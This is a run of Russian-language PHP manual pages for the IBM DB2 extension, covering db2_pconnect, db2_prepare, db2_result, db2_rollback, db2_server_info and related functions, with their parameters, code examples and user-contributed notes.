Пользователи, использующие ibm_db2 версии 1.9.0 или более поздней, должны знать, что модуль выполнит откат транзакции для постоянных соединений в конце запроса, тем самым завершив транзакцию. Это предотвращает перенос блока транзакции на следующий запрос, который использует это соединение, если выполнение скрипта завершается раньше, чем блок транзакции.

Список параметров

database

Псевдоним базы данных в клиентском каталоге DB2.

username

Имя пользователя, под которым производится подключение к базе данных.

password

Пароль, который используется при подключении к базе данных.

options

Ассоциативный массив параметров подключения, которые влияют на поведение подключения, где допустимыми ключами массива являются:

autocommit

Передача значения DB2_AUTOCOMMIT_ON включает автоматическую фиксацию для этого дескриптора соединения.

Передача значения DB2_AUTOCOMMIT_OFF выключает автоматическую фиксацию для этого дескриптора соединения.

DB2_ATTR_CASE

Передача значения DB2_CASE_NATURAL указывает, что имена столбцов возвращаются в естественном регистре.

Передача значения DB2_CASE_LOWER указывает, что имена столбцов возвращаются в нижнем регистре.

Передача значения DB2_CASE_UPPER указывает, что имена столбцов возвращаются в верхнем регистре.

CURSOR

Передача значения DB2_FORWARD_ONLY задаёт курсор только вперёд для ресурса оператора. Это тип курсора по умолчанию, который поддерживается на всех серверах баз данных.

Передача значения DB2_SCROLLABLE задаёт прокручиваемый курсор для ресурса оператора. Этот режим включает произвольный доступ к строкам в наборе результатов, но в настоящее время поддерживается только IBM DB2 Universal Database.

Следующая новая опция доступна в ibm_db2 версии 1.7.0 и новее.

trustedcontext

Передача значения DB2_TRUSTED_CONTEXT_ENABLE включает доверенный контекст для этого дескриптора соединения. Параметр нельзя установить с помощью db2_set_option().

Ключ работает только в том случае, если база данных каталогизирована (даже если база данных является локальной) или если вы укажете полный DSN при создании соединения.

Чтобы каталогизировать базу данных, используйте следующие команды:

db2 catalog tcpip node loopback remote <SERVERNAME> server <SERVICENAME>
db2 catalog database <LOCALDBNAME> as <REMOTEDBNAME> at node loopback
db2 "update dbm cfg using svcename <SERVICENAME>"
db2set DB2COMM=TCPIP

Следующие новые параметры i5/OS доступны в ibm_db2 версии 1.5.1 и новее.

Подсказка

Конфликтующие атрибуты соединения, используемые вместе с постоянными соединениями, могут привести к неопределённым результатам в i5/OS. Политики сайта должны быть установлены для всех приложений, использующих каждый профиль пользователя с постоянным подключением. При использовании постоянных соединений предлагается значение по умолчанию DB2_AUTOCOMMIT_ON.

i5_lib

Символьное значение, указывающее библиотеку по умолчанию, которая будет использоваться для разрешения неквалифицированных ссылок на файлы. Недопустимо, если соединение использует режим именования системы.

i5_naming

Значение DB2_I5_NAMING_ON включает режим именования системы DB2 UDB CLI iSeries. Файлы квалифицируются с помощью разделителя косой черты (/). Неквалифицированные файлы разрешаются с использованием списка библиотек для задания.

Значение DB2_I5_NAMING_OFF отключает режим именования по умолчанию CLI DB2 UDB, который является именованием SQL. Файлы квалифицируются с использованием разделителя точки (.). Неквалифицированные файлы разрешаются с использованием либо библиотеки по умолчанию, либо текущего идентификатора пользователя.

i5_commit

Атрибут i5_commit должен быть установлен до вызова db2_pconnect(). Если значение изменяется после того, как соединение было установлено и соединение установлено с удалённым источником данных, изменение не вступит в силу до следующего успешного db2_pconnect() для дескриптора соединения.

Замечание:

Параметр php.ini ibm_db2.i5_allow_commit==0 или DB2_I5_TXN_NO_COMMIT является значением по умолчанию, но его можно изменить с помощью параметра i5_commit.

DB2_I5_TXN_NO_COMMIT - Контроль фиксации не используется.

DB2_I5_TXN_READ_UNCOMMITTED - Грязное чтение, неповторимые reads, and phantoms are possible.

DB2_I5_TXN_READ_COMMITTED - Грязное чтение невозможно. Возможны неповторяющееся чтение и фантомы.

DB2_I5_TXN_REPEATABLE_READ - Грязное чтение и неповторяющиеся читки невозможны. Возможны фантомы.

DB2_I5_TXN_SERIALIZABLE - Транзакции сериализуемы. Грязное чтение, неповторяющееся чтение и фантомы невозможны.

i5_query_optimize

DB2_FIRST_IO Все запросы оптимизированы с целью максимально быстрого возврата первой страницы вывода. Эта цель хорошо работает, когда вывод контролируется пользователем, который, скорее всего, отменит запрос после просмотра первой страницы выходных данных. Запросы, закодированные с предложением OPTIMIZE FOR nnn ROWS, соответствуют цели, указанной в предложении.

DB2_ALL_IO Все запросы оптимизированы с целью выполнить весь запрос о завершения в кратчайшие сроки. Это хороший вариант, когда выходные данные запроса записываются в файл или отчёт или когда интерфейс ставит выходные данные в очередь. Запросы, закодированные с предложением OPTIMIZE FOR nnn ROWS, соответствуют цели, указанной в предложении. Это значение по умолчанию.

i5_dbcs_alloc

DB2_I5_DBCS_ALLOC_ON Значение включает схему распределения DB2 6X для увеличения размера столбца преобразования DBCS.

DB2_I5_DBCS_ALLOC_OFF Значение выключает схему распределения DB2 6X для увеличения размера столбца преобразования DBCS.

Замечание:

Параметр php.ini ibm_db2.i5_dbcs_alloc==0 или DB2_I5_DBCS_ALLOC_OFF является значением по умолчанию, но его можно изменить с помощью параметра i5_dbcs_alloc.

i5_date_fmt

DB2_I5_FMT_ISO - Используется формат даты Международной организации по стандартизации (ISO) yyyy-mm-dd. Это значение по умолчанию.

DB2_I5_FMT_USA - Используется формат даты США mm/dd/yyyy.

DB2_I5_FMT_EUR - Используется европейский формат даты dd.mm.yyyy.

DB2_I5_FMT_JIS - Используется японский формат даты yyyy-mm-dd.

DB2_I5_FMT_MDY - Используется формат даты mm/dd/yyyy.

DB2_I5_FMT_DMY - Используется формат даты dd/mm/yyyy.

DB2_I5_FMT_YMD - Используется формат даты yy/mm/dd.

DB2_I5_FMT_JUL - Используется юлианский формат даты yy/ddd.

DB2_I5_FMT_JOB - Используется задание по умолчанию.

i5_date_sep

DB2_I5_SEP_SLASH -В качестве разделителя даты используется косая черта (/). Это значение по умолчанию.

DB2_I5_SEP_DASH - В качестве разделителя даты используется тире (-).

DB2_I5_SEP_PERIOD - В качестве разделителя даты используется точка (.).

DB2_I5_SEP_COMMA - В качестве разделителя даты используется запятая (,).

DB2_I5_SEP_BLANK - В качестве разделителя даты используется пробел.

DB2_I5_SEP_JOB - Используется задание по умолчанию.

i5_time_fmt

DB2_I5_FMT_ISO - Используется формат времени Международной организации по стандартизации (ISO) hh.mm.ss. Это значение по умолчанию.

DB2_I5_FMT_USA - Используется формат времени США hh:mmxx, где xx - это AM или PM.

DB2_I5_FMT_EUR - Используется европейский формат времени hh.mm.ss.

DB2_I5_FMT_JIS - Используется японский промышленный стандартный формат времени hh:mm:ss.

DB2_I5_FMT_HMS - Используется формат hh:mm:ss.

i5_time_sep

DB2_I5_SEP_COLON - Двоеточие (:) используется как разделитель времени. Это значение по умолчанию.

DB2_I5_SEP_PERIOD - Точка (.) используется как разделитель времени.

DB2_I5_SEP_COMMA - Запятая (,) используется как разделитель времени.

DB2_I5_SEP_BLANK - Пробел используется как разделитель времени.

DB2_I5_SEP_JOB - Используется задание по умолчанию.

i5_decimal_sep

DB2_I5_SEP_PERIOD - В качестве десятичного разделителя используется точка (.). Это значение по умолчанию.

DB2_I5_SEP_COMMA - В качестве десятичного разделителя используется запятая (,).

DB2_I5_SEP_JOB - Используется задание по умолчанию.

Следующая новая опция i5/OS доступна в ibm_db2 версии 1.8.0 и новее.

i5_libl

Символьное значение, указывающее список библиотек, который будет использоваться для разрешения неквалифицированных ссылок на файлы. Укажите элементы списка библиотек, разделённые пробелами 'i5_libl'=>"MYLIB YOURLIB ANYLIB".

Замечание:

i5_libl вызывает qsys2/qcmdexc ('cmd',cmdlen), который доступен только в i5/OS V5R4 и новее.

Возвращаемые значения

Возвращает ресурс дескриптора подключения, в случае успешной попытки подключения. db2_pconnect() пытается повторно использовать существующий ресурс подключения, который точно соответствует параметрам database, username и password. Если попытка подключения не удалась, db2_pconnect() вернёт false.

Список изменений

Версия | Описание
ibm_db2 1.9.0 | Активные транзакции в постоянном соединении будут откатываться в конце каждого запроса.
ibm_db2 1.8.0 | Параметр i5_libl доступен для пользователей i5/OS.
ibm_db2 1.7.0 | Доступен параметр trustedcontext.
ibm_db2 1.5.1 | Параметры i5_lib, i5_naming, i5_commit, i5_query_optimize, i5_dbcs_alloc, i5_date_fmt, i5_date_sep, i5_time_fmt, i5_time_sep и i5_decimal_sep доступны для пользователей i5/OS.

Примеры

Пример #1 Пример использования db2_pconnect()

В следующем примере первый вызов db2_pconnect() возвращает новый ресурс постоянного соединения. Второй вызов db2_pconnect() возвращает ресурс постоянного соединения, который просто повторно использует первый ресурс постоянного соединения.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$pconn = db2_pconnect($database, $user, $password);

if ($pconn) {
echo "Постоянное соединение успешно установлено.";
}
else {
echo "Постоянное соединение завершилось ошибкой.";
}

$pconn2 = db2_pconnect($database, $user, $password);
if ($pconn) {
echo "Второе постоянное соединение успешно установлено.";
}
else {
echo "Второе постоянное соединение завершилось ошибкой";
}
?>

Результат выполнения данного примера:

Постоянное соединение успешно установлено.
Второе постоянное соединение успешно установлено.

Пример #2 Использование доверенного контекста

В следующем примере показано, как включить доверенный контекст, переключить пользователей и получить текущий идентификатор пользователя.

<?php

$database = "SAMPLE";
$hostname = "localhost";
$port = 50000;
$authID = "db2inst1";
$auth_pass = "ibmdb2";

$tc_user = "tcuser";
$tc_pass = "tcpassword";

$dsn = "DATABASE=$database;HOSTNAME=$hostname;PORT=$port;
PROTOCOL=TCPIP;UID=$authID;PWD=$auth_pass;";
$options = array ("trustedcontext" => DB2_TRUSTED_CONTEXT_ENABLE);

$tc_conn = db2_pconnect($dsn, "", "", $options);
if($tc_conn) {
echo "Явное доверенное соединение успешно установлено.\n";

if(db2_get_option($tc_conn, "trustedcontext")) {
$userBefore = db2_get_option($tc_conn, "trusted_user");

// Поработайте как пользователь 1.

// Переход на доверенного пользователя.Switching to trusted user.
$parameters = array("trusted_user" => $tc_user,
"trusted_password" => $tcuser_pass);
$res = db2_set_option ($tc_conn, $parameters, 1);

$userAfter = db2_get_option($tc_conn, "trusted_user");
// Сделайте больше в качестве доверенного пользователя.

if($userBefore != $userAfter) {
echo "Пользователь был переключён." . "\n";
}
}

db2_close($tc_conn);
}
else {
echo "Явное доверенное соединение завершилось ошибкой.\n";
}
?>

Результат выполнения данного примера:

Явное доверенное соединение успешно установлено
Пользователь был переключён.

Смотрите также

  • db2_connect() - Возвращает соединение с базой данных

User Contributed Notes

php at redlagoon dot net 13-Feb-2018 08:17
The ibm_db2.ini file controls many properties related to to pconnect.   For example, stale connection handling is configurable.
satoruyoshida at php dot net 23-Jan-2012 08:28
If You will create db2 connection on IBMi , QSQSRVR job will be created under QSYSWRK subsystem with specified user.
You can ensure it with using db2_pconnect() function.

For example, db2_pconnect('*LOCAL', 'TESTUSR', 'PASSWORD') will bring us QSQSRVR job with TESTUSR user.

If You omit the user, IHS default user is used in the job.


Подготавливает SQL-запрос к выполнению

  • « db2_pconnect
  • db2_primary_keys »
  • PHP Manual
  • Функции IBM DB2
  • Подготавливает SQL-запрос к выполнению

db2_prepare

(PECL ibm_db2 >= 1.0.0)

db2_prepare — Подготавливает SQL-запрос к выполнению

Описание

db2_prepare(resource $connection, string $statement, array $options = []): resource|false

db2_prepare() создаёт подготовленный SQL-запрос, который может включать 0 или более маркеров параметров (символов ?), представляющих входные параметры, параметры вывода или входные параметры и параметры вывода. Вы можете передать параметры подготовленному запросу, используя db2_bind_param() или только для входных значений в виде массива, переданного в db2_execute().

Использование подготовленных запросов в вашем приложении даёт три основных преимущества:

  • Производительность: при использовании подготовленного запроса, сервер базы данных создаёт оптимизированный план доступа для извлечения данных с помощью этого запроса. Последующее выполнение подготовленного запроса с помощью db2_execute() позволяет операторам повторно использовать этот план доступа и позволяет избежать накладных расходов на динамическое создание нового плана доступа для каждого выполняемого вами запроса.

  • Безопасность: при использовании подготовленного запроса, вы можете включить маркеры параметров для входных значений. Когда вы выполняете подготовленный запрос с входными значениями для заполнителей, сервер базы данных проверяет каждое входное значение, чтобы убедиться, что тип соответствует определению столбца или определению параметра.

  • Расширенный функционал: Маркеры параметров не только позволяют передавать входные значения в подготовленные SQL-запросы, они также позволяют извлекать параметры OUT и INOUT из хранимых процедур с помощью db2_bind_param().

Список параметров

connection

Допустимая переменная ресурса подключения к базе данных, возвращаемая функцией db2_connect() или db2_pconnect().

statement

SQL-запрос, необязательно содержащий один или несколько маркеров параметров.

options

Ассоциативный массив, содержащий параметры запроса. Параметры можно использовать для запроса прокручиваемого курсора на серверах баз данных, поддерживающих эту функцию.

Описание допустимых опций запроса смотрите в разделе db2_set_option().

Возвращаемые значения

Возвращает ресурс оператора, если SQL-запрос был успешно проанализирован и подготовлен сервером базы данных. Возвращает false, если сервер базы данных вернул ошибку. Вы можете определить, какая ошибка была возвращена, вызвав db2_stmt_error() или db2_stmt_errormsg().

Примеры

Пример #1 Подготовка и выполнение SQL-запроса с маркерами параметров

В следующем примере подготавливается запрос INSERT, который принимает четыре маркера параметров, а затем выполняет итерацию по массиву массивов, содержащих входные значения, которые необходимо передать в db2_execute().

<?php
$animals = array(
array(0, 'cat', 'Pook', 3.2),
array(1, 'dog', 'Peaches', 12.3),
array(2, 'horse', 'Smarty', 350.0),
);

$insert = 'INSERT INTO animals (id, breed, name, weight)
VALUES (?, ?, ?, ?)';
$stmt = db2_prepare($conn, $insert);
if ($stmt) {
foreach ($animals as $animal) {
$result = db2_execute($stmt, $animal);
}
}
?>

Смотрите также

  • db2_bind_param() - Связывает переменную PHP с параметром SQL-выражения
  • db2_execute() - Выполняет подготовленный SQL-запрос
  • db2_stmt_error() - Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором
  • db2_stmt_errormsg() - Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения

User Contributed Notes

agr dot valayam at gmail dot com 27-Oct-2016 12:08
A simple select example.

$pr_stmt = db2_prepare ($this->conn,"select count(*) from note where city=? and year= ?");
  db2_execute($pr_stmt,array('test',2016));
   $count_res = db2_fetch_array($pr_stmt);
echo "Count =".$count_res[0]
NormInNorman 18-Nov-2009 07:52
If you are having problems with scrollable cursors and the prepare statement, I've found that you cant set the scrollable option on the connection.  The following code (which tries to get the 2nd record):

<?php
$sql = "SELECT * FROM SCHEMA.TABLENAME";
$options = array('cursor' => DB2_SCROLLABLE);
$conn = db2_connect($database, $user, $password,$options);
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);

$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql, $options);
$result = db2_execute($stmt);
$row = db2_fetch_both($stmt, 2);
?>

Will result in the following error:

Warning: db2_fetch_both() [function.db2-fetch-both]: Fetch Failure in dbtest.php on line 7

In fact, even if you set the options on both the connection and the prepare your fetch will not work. You must only set that option on the prepare.
ndt.db2 at google mail 12-Aug-2006 06:41
if you have the error message : PHP Warning:  db2_prepare() [<a href='function.db2-prepare'>function.db2-prepare</a>]: Statement Prepare Failed in (....)
and cannot display the error message using db2_stmt_errormsg() , then check if your database connection handle is (still) valid


Возвращает набор результатов, содержащий первичные ключи таблицы

  • « db2_prepare
  • db2_procedure_columns »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов, содержащий первичные ключи таблицы

db2_primary_keys

(PECL ibm_db2 >= 1.0.0)

db2_primary_keys — Возвращает набор результатов, содержащий первичные ключи таблицы

Описание

db2_primary_keys(
resource $connection,
?string $qualifier,
?string $schema,
string $table_name
): resource

Возвращает набор результатов, содержащий первичные ключи таблицы.

Список параметров

connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающих на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая таблицы. Если schema равен null, db2_primary_keys() соответствует схеме для текущего соединения.

table_name

Название таблицы.

Возвращаемые значения

Возвращает ресурс оператора с набором результатов, содержащим строки, описывающие первичные ключи для указанной таблицы. Набор результатов состоит из следующих столбцов:

Название столбца | Описание
TABLE_CAT | Название каталога для таблицы, содержащей первичный ключ. Значение NULL, если в этой таблице нет каталогов.
TABLE_SCHEM | Название схемы таблицы, содержащей первичный ключ.
TABLE_NAME | Название таблицы, содержащей первичный ключ.
COLUMN_NAME | Название столбца, содержащего первичный ключ.
KEY_SEQ | Индекс столбца (начиная с 1) в ключе.
PK_NAME | Имя первичного ключа.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор результатов со списком параметров хранимой процедуры

  • « db2_primary_keys
  • db2_procedures »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов со списком параметров хранимой процедуры

db2_procedure_columns

(PECL ibm_db2 >= 1.0.0)

db2_procedure_columns — Возвращает набор результатов со списком параметров хранимой процедуры

Описание

db2_procedure_columns(
resource $connection,
?string $qualifier,
string $schema,
string $procedure,
?string $parameter
): resource

Возвращает набор результатов, в котором перечислены параметры для одной или нескольких хранимых процедур.

Список параметров

connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающих на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая процедуры. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

procedure

Название процедуры. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

parameter

Имя параметра. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков. Если параметр равен null, возвращаются все параметры для указанных хранимых процедур.

Возвращаемые значения

Возвращает ресурс оператора с набором результатов, содержащим строки, описывающие параметры для хранимых процедур, соответствующие указанным параметрам. Строки состоят из следующих столбцов:

Название столбца | Описание
PROCEDURE_CAT | Каталог, содержащий таблицу. Значение null, если в этой таблице нет каталогов.
PROCEDURE_SCHEM | Имя схемы, содержащей хранимую процедуру.
PROCEDURE_NAME | Название процедуры.
COLUMN_NAME | Название параметра.
COLUMN_TYPE

Целочисленное значение, представляющее тип параметра:

Возвращаемое значение | Тип параметра
1 (SQL_PARAM_INPUT) | Входной (IN) параметр.
2 (SQL_PARAM_INPUT_OUTPUT) | Входной параметр/параметр вывода (INOUT).
3 (SQL_PARAM_OUTPUT) | Параметр (OUT) вывода.
DATA_TYPE | Тип данных SQL для параметра, представленный как целочисленное значение.
TYPE_NAME | Строка, представляющая тип данных для параметра.
COLUMN_SIZE | Целочисленное значение, представляющее размер параметра.
BUFFER_LENGTH | Максимальное количество байтов, необходимое для хранения данных для этого параметра.
DECIMAL_DIGITS | Масштаб параметра или null, если масштаб не применим.
NUM_PREC_RADIX | Целочисленное значение либо 10 (представляющее точный числовой тип данных), либо 2 (представляющее приблизительный числовой тип данных), либо null (представляющий тип данных, для которого основание системы счисления не применимо).
NULLABLE | Целочисленное значение, показывающее, допускает ли параметр значение NULL или нет.
REMARKS | Описание параметра.
COLUMN_DEF | Значение параметра по умолчанию.
SQL_DATA_TYPE | Целочисленное значение, представляющее размер параметра.
SQL_DATETIME_SUB | Возвращает целочисленное значение, представляющее код подтипа datetime или null для типов данных SQL, к которым это не относится.
CHAR_OCTET_LENGTH | Максимальная длина в октетах для параметра символьного типа данных, который соответствует COLUMN_SIZE для однобайтовых данных набора символов или null для несимвольных типов данных.
ORDINAL_POSITION | Индекс параметра (начиная с 1) в операторе CALL.
IS_NULLABLE | Строковое значение, где "YES" означает, что параметр принимает или возвращает значения null и "NO" означает, что параметр не принимает и не возвращает значения null.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных

  • « db2_procedure_columns
  • db2_result »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных

db2_procedures

(PECL ibm_db2 >= 1.0.0)

db2_procedures — Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных

Описание

db2_procedures(
resource $connection,
?string $qualifier,
string $schema,
string $procedure
): resource

Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных.

Список параметров

connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающих на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая процедуры. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

procedure

Название процедуры. Параметр принимает шаблон поиска, содержащий _ и % в качестве подстановочных знаков.

Возвращаемые значения

Возвращает ресурс оператора с набором результатов, содержащим строки, описывающие хранимые процедуры, соответствующие указанным параметрам. Строки состоят из следующих столбцов:

Название столбца | Описание
PROCEDURE_CAT | Каталог, содержащий таблицу. Значение null, если в этой таблице нет каталогов.
PROCEDURE_SCHEM | Имя схемы, содержащей хранимую процедуру.
PROCEDURE_NAME | Название процедуры.
NUM_INPUT_PARAMS | Количество входных (IN) параметров для хранимой процедуры.
NUM_OUTPUT_PARAMS | Количество параметров вывода (OUT) для хранимой процедуры.
NUM_RESULT_SETS | Количество наборов результатов, возвращаемых хранимой процедурой.
REMARKS | Любые комментарии о хранимой процедуре.
PROCEDURE_TYPE | Всегда возвращает 1, указывая, что хранимая процедура не возвращает возвращаемое значение.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает один столбец из строки в наборе результатов

  • « db2_procedures
  • db2_rollback »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает один столбец из строки в наборе результатов

db2_result

(PECL ibm_db2 >= 1.0.0)

db2_result — Возвращает один столбец из строки в наборе результатов

Описание

db2_result(resource $stmt, int|string $column): ?mixed

Используйте db2_result(), чтобы вернуть значение указанного столбца в текущей строке набора результатов. Вы должны вызвать db2_fetch_row() перед вызовом db2_result(), чтобы установить положение указателя набора результатов.

Список параметров

stmt

Допустимый ресурс stmt.

column

Либо целочисленный индекс столбца (начиная с 0) в наборе результатов, либо строка, соответствующая имени столбца.

Возвращаемые значения

Возвращает значение запрошенного поля, если поле существует в наборе результатов. Возвращает null, если поле не существует и выдаёт предупреждение.

Примеры

Пример #1 Пример использования db2_result()

В следующем примере показано, как выполнить итерацию по набору результатов с помощью db2_fetch_row() и получить столбцы из набора результатов с помощью db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
$name = db2_result($stmt, 0);
$breed = db2_result($stmt, 'BREED');
print "$name $breed";
}
?>

Результат выполнения данного примера:

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

Смотрите также

  • db2_fetch_array() - Возвращает массив, индексированный по положению столбца, представляющий строку в наборе результатов
  • db2_fetch_assoc() - Возвращает массив, индексированный по имени столбца, представляющий строку в наборе результатов
  • db2_fetch_both() - Возвращает массив, индексированный как по имени столбца, так и по позиции, представляющий строку в наборе результатов
  • db2_fetch_object() - Возвращает объект со свойствами, представляющими столбцы в выбранной строке
  • db2_fetch_row() - Устанавливает указатель набора результатов на следующую строку или запрошенную строку

User Contributed Notes

jay+nospam at toxicedge dot com 05-Dec-2014 09:30
It's worth noting that this function consumes the value (the first call will return a result, and any subsequent calls will return NULL).


Откатывает транзакцию

  • « db2_result
  • db2_server_info »
  • PHP Manual
  • Функции IBM DB2
  • Откатывает транзакцию

db2_rollback

(PECL ibm_db2 >= 1.0.0)

db2_rollback — Откатывает транзакцию

Описание

db2_rollback(resource $connection): bool

Откатывает текущую транзакцию на указанном соединении и начинает новую. По умолчанию, в PHP, используется автоподтверждение транзакций, так что функция db2_rollback() нужна только в том случае, если вы принудительно отключили автоподтверждение транзакций для соединения.

Список параметров

connection

Переменная содержащая активный ресурс подключения, полученный с помощью db2_connect() или db2_pconnect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Откат операции DELETE

В следующем примере мы посчитаем количество строк в таблице, отключим автоподтверждение транзакций, удалим все строки в таблице и убедимся, что их стало 0. После этого мы используем функцию db2_rollback() и проверим, что число строк в таблице стало таким же, как и до удаления - это подтвердит, что транзакция успешно откатилась.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
$stmt = db2_exec($conn, "SELECT count(*) FROM animals");
$res = db2_fetch_array( $stmt );
echo $res[0] . "\n";

// Отключаем автоподтверждение
db2_autocommit($conn, DB2_AUTOCOMMIT_OFF);

// Удаляем все строки из ANIMALS
db2_exec($conn, "DELETE FROM animals");

$stmt = db2_exec($conn, "SELECT count(*) FROM animals");
$res = db2_fetch_array( $stmt );
echo $res[0] . "\n";

// Откатываем операцию DELETE
db2_rollback( $conn );

$stmt = db2_exec( $conn, "SELECT count(*) FROM animals" );
$res = db2_fetch_array( $stmt );
echo $res[0] . "\n";
db2_close($conn);
}
?>

Результат выполнения данного примера:

7
0
7

Смотрите также

  • db2_autocommit() - Возвращает или устанавливает режим автоподтверждения транзакций для соединения
  • db2_commit() - Подтверждает транзакцию

User Contributed Notes

There are no user contributed notes for this page.


Возвращает объект со свойствами, описывающими сервер базы данных DB2

  • « db2_rollback
  • db2_set_option »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает объект со свойствами, описывающими сервер базы данных DB2

db2_server_info

(PECL ibm_db2 >= 1.1.1)

db2_server_info — Возвращает объект со свойствами, описывающими сервер базы данных DB2

Описание

db2_server_info(resource $connection): stdClass|false

Функция возвращает объект со свойствами только для чтения, которые возвращают информацию о сервере баз данных IBM DB2, Cloudscape или Apache Derby. В следующей таблице перечислены свойства сервера базы данных:

Свойства сервера базы данных
Название свойства | Тип возвращаемого значения | Описание
DBMS_NAME | string | Имя сервера базы данных, к которому вы подключены. Для серверов DB2 это комбинация DB2, за которой следует операционная система, в которой работает сервер базы данных.
DBMS_VER | string | Версия сервера базы данных в виде строки "MM.mm.uuuu", где MM - это мажорная версия, mm - это минорная версия, а uuuu - это патч-версия. Например, "08.02.0001" означает мажорную версию 8, минорную версию 2 и патч-версию 1.
DB_CODEPAGE | int | Кодовая страница базы данных, к которой вы подключены.
DB_NAME | string | Имя базы данных, к которой вы подключены.
DFT_ISOLATION string

Уровень изоляции транзакции по умолчанию, поддерживаемый сервером:

UR

Незавершённое чтение: изменения сразу видны всем параллельным транзакциям.

CS

Стабильность курсора: строка, прочитанная одной транзакцией, может быть изменена и зафиксирована второй параллельной транзакцией.

RS

Стабильность чтения: транзакция может добавлять или удалять строки, соответствующие условию поиска или ожидающей транзакции.

RR

Повторяющееся чтение: данные, на которые влияет ожидающая транзакция, недоступны для других транзакций.

NC

Без фиксации: любые изменения видны в конце успешной операции. Явные коммиты и откаты недопустимы.

IDENTIFIER_QUOTE_CHAR | string | Символ, используемый для обозначения идентификатора.
INST_NAME | string | Экземпляр на сервере базы данных, содержащий базу данных.
ISOLATION_OPTION | array | Массив параметров изоляции, поддерживаемых сервером базы данных. Параметры изоляции описаны в свойстве DFT_ISOLATION.
KEYWORDS | array | Массив ключевых слов, зарезервированных сервером базы данных.
LIKE_ESCAPE_CLAUSE | bool | true, если сервер базы данных поддерживает использование подстановочных знаков % и _. false, если сервер базы данных не поддерживает эти подстановочные знаки.
MAX_COL_NAME_LEN | int | Максимальная длина имени столбца, поддерживаемая сервером базы данных, выраженная в байтах.
MAX_IDENTIFIER_LEN | int | Максимальная длина SQL-идентификатора, поддерживаемая сервером базы данных, выраженная в символах.
MAX_INDEX_SIZE | int | Максимальный размер столбцов, объединённых в индекс, поддерживаемый сервером базы данных, выраженный в байтах.
